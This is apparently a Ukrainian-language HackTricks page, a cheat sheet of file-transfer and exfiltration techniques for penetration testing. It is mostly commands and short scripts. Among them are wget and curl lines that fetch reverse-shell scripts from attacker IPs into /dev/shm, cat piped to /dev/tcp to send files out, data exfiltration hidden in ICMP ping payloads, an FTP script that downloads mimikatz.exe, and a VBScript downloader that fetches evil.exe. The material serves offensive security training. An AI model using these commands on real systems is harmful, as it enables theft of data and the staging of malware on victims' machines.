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314 lines
10 KiB
Markdown
314 lines
10 KiB
Markdown
# Екстракція
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{{#include ../banners/hacktricks-training.md}}
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## Загальновідомі домени, які дозволяють екстракцію інформації
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Перевірте [https://lots-project.com/](https://lots-project.com/), щоб знайти загальновідомі домени, які можна зловживати
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## Копіювати\&Вставити Base64
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**Linux**
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```bash
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base64 -w0 <file> #Encode file
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base64 -d file #Decode file
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```
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**Вікна**
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```
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certutil -encode payload.dll payload.b64
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certutil -decode payload.b64 payload.dll
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```
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## HTTP
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**Linux**
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```bash
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wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py
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wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
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curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
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fetch 10.10.14.14:8000/shell.py #FreeBSD
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```
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**Вікна**
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```bash
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certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
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bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
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#PS
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(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
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Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
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wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
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Import-Module BitsTransfer
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Start-BitsTransfer -Source $url -Destination $output
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#OR
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Start-BitsTransfer -Source $url -Destination $output -Asynchronous
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```
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### Завантаження файлів
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- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
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- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
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- Python модуль [uploadserver](https://pypi.org/project/uploadserver/):
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```bash
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# Listen to files
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python3 -m pip install --user uploadserver
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python3 -m uploadserver
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# With basic auth:
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# python3 -m uploadserver --basic-auth hello:world
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# Send a file
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curl -X POST http://HOST/upload -H -F 'files=@file.txt'
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# With basic auth:
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# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
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```
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### **HTTPS Сервер**
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```python
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# from https://gist.github.com/dergachev/7028596
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# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
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# generate server.xml with the following command:
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# openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
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# run as follows:
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# python simple-https-server.py
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# then in your browser, visit:
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# https://localhost:443
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### PYTHON 2
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import BaseHTTPServer, SimpleHTTPServer
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import ssl
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httpd = BaseHTTPServer.HTTPServer(('0.0.0.0', 443), SimpleHTTPServer.SimpleHTTPRequestHandler)
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httpd.socket = ssl.wrap_socket (httpd.socket, certfile='./server.pem', server_side=True)
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httpd.serve_forever()
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###
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### PYTHON3
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from http.server import HTTPServer, BaseHTTPRequestHandler
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import ssl
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httpd = HTTPServer(('0.0.0.0', 443), BaseHTTPRequestHandler)
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httpd.socket = ssl.wrap_socket(httpd.socket, certfile="./server.pem", server_side=True)
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httpd.serve_forever()
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###
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### USING FLASK
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from flask import Flask, redirect, request
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from urllib.parse import quote
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app = Flask(__name__)
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@app.route('/')
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def root():
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print(request.get_json())
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return "OK"
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if __name__ == "__main__":
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app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
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###
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```
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## FTP
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### FTP сервер (python)
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```bash
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pip3 install pyftpdlib
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python3 -m pyftpdlib -p 21
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```
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### FTP сервер (NodeJS)
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```
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sudo npm install -g ftp-srv --save
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ftp-srv ftp://0.0.0.0:9876 --root /tmp
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```
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### FTP сервер (pure-ftp)
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```bash
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apt-get update && apt-get install pure-ftp
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```
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```bash
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#Run the following script to configure the FTP server
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#!/bin/bash
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groupadd ftpgroup
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useradd -g ftpgroup -d /dev/null -s /etc ftpuser
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pure-pwd useradd fusr -u ftpuser -d /ftphome
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pure-pw mkdb
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cd /etc/pure-ftpd/auth/
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ln -s ../conf/PureDB 60pdb
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mkdir -p /ftphome
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chown -R ftpuser:ftpgroup /ftphome/
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/etc/init.d/pure-ftpd restart
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```
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### **Клієнт Windows**
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```bash
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#Work well with python. With pure-ftp use fusr:ftp
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echo open 10.11.0.41 21 > ftp.txt
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echo USER anonymous >> ftp.txt
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echo anonymous >> ftp.txt
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echo bin >> ftp.txt
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echo GET mimikatz.exe >> ftp.txt
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echo bye >> ftp.txt
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ftp -n -v -s:ftp.txt
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```
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## SMB
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Kali як сервер
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```bash
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kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory
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kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
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#For new Win10 versions
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impacket-smbserver -smb2support -user test -password test test `pwd`
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```
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Або створіть smb спільний доступ **використовуючи samba**:
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```bash
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apt-get install samba
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mkdir /tmp/smb
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chmod 777 /tmp/smb
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#Add to the end of /etc/samba/smb.conf this:
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[public]
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comment = Samba on Ubuntu
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path = /tmp/smb
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read only = no
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browsable = yes
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guest ok = Yes
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#Start samba
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service smbd restart
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```
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Віндовс
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```bash
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CMD-Wind> \\10.10.14.14\path\to\exe
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CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
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WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali"
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WindPS-2> cd new_disk:
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```
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## SCP
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Атакуючий повинен мати запущений SSHd.
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```bash
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scp <username>@<Attacker_IP>:<directory>/<filename>
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```
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## SSHFS
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Якщо жертва має SSH, зловмисник може змонтувати каталог з жертви до зловмисника.
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```bash
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sudo apt-get install sshfs
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sudo mkdir /mnt/sshfs
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sudo sshfs -o allow_other,default_permissions <Target username>@<Target IP address>:<Full path to folder>/ /mnt/sshfs/
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```
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## NC
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```bash
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nc -lvnp 4444 > new_file
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nc -vn <IP> 4444 < exfil_file
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```
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## /dev/tcp
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### Завантажити файл з жертви
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```bash
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nc -lvnp 80 > file #Inside attacker
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cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
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```
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### Завантажити файл на жертву
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```bash
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nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
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# Inside victim
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exec 6< /dev/tcp/10.10.10.10/4444
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cat <&6 > file.txt
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```
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дякую **@BinaryShadow\_**
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## **ICMP**
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```bash
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# To exfiltrate the content of a file via pings you can do:
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xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line <IP attacker>; done
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#This will 4bytes per ping packet (you could probably increase this until 16)
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```
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```python
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from scapy.all import *
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#This is ippsec receiver created in the HTB machine Mischief
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def process_packet(pkt):
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if pkt.haslayer(ICMP):
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if pkt[ICMP].type == 0:
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data = pkt[ICMP].load[-4:] #Read the 4bytes interesting
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print(f"{data.decode('utf-8')}", flush=True, end="")
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sniff(iface="tun0", prn=process_packet)
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```
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## **SMTP**
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Якщо ви можете надсилати дані на SMTP сервер, ви можете створити SMTP для отримання даних за допомогою python:
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```bash
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sudo python -m smtpd -n -c DebuggingServer :25
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```
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## TFTP
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За замовчуванням у XP та 2003 (в інших його потрібно явно додати під час установки)
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У Kali, **запустіть TFTP сервер**:
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```bash
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#I didn't get this options working and I prefer the python option
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mkdir /tftp
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atftpd --daemon --port 69 /tftp
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cp /path/tp/nc.exe /tftp
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```
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**TFTP сервер на python:**
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```bash
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pip install ptftpd
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ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
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```
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У **жертві** підключіться до сервера Kali:
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```bash
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tftp -i <KALI-IP> get nc.exe
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```
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## PHP
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Завантажте файл з PHP oneliner:
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```bash
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echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
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```
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## VBScript
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```bash
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Attacker> python -m SimpleHTTPServer 80
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```
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**Жертва**
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```bash
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echo strUrl = WScript.Arguments.Item(0) > wget.vbs
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echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
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echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
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echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
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echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
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echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
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echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
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echo Err.Clear >> wget.vbs
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echo Set http = Nothing >> wget.vbs
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echo Set http = CreateObject("WinHttp.WinHttpRequest.5.1") >> wget.vbs
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echo If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") >> wget.vbs
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echo If http Is Nothing Then Set http =CreateObject("MSXML2.ServerXMLHTTP") >> wget.vbs
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echo If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP") >> wget.vbs
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echo http.Open "GET", strURL, False >> wget.vbs
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echo http.Send >> wget.vbs
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echo varByteArray = http.ResponseBody >> wget.vbs
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echo Set http = Nothing >> wget.vbs
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echo Set fs = CreateObject("Scripting.FileSystemObject") >> wget.vbs
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echo Set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
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echo strData = "" >> wget.vbs
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echo strBuffer = "" >> wget.vbs
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echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
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echo ts.Write Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
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echo Next >> wget.vbs
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echo ts.Close >> wget.vbs
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```
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```bash
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cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
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```
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## Debug.exe
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Програма `debug.exe` не тільки дозволяє перевіряти бінарні файли, але також має **можливість відновлювати їх з шістнадцяткового коду**. Це означає, що, надаючи шістнадцятковий код бінарного файлу, `debug.exe` може згенерувати бінарний файл. Однак важливо зазначити, що debug.exe має **обмеження на складання файлів розміром до 64 кб**.
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```bash
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# Reduce the size
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upx -9 nc.exe
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wine exe2bat.exe nc.exe nc.txt
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```
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Потім вставте текст у вікно командного рядка Windows, і буде створено файл з назвою nc.exe.
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- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
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## DNS
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- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
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{{#include ../banners/hacktricks-training.md}}
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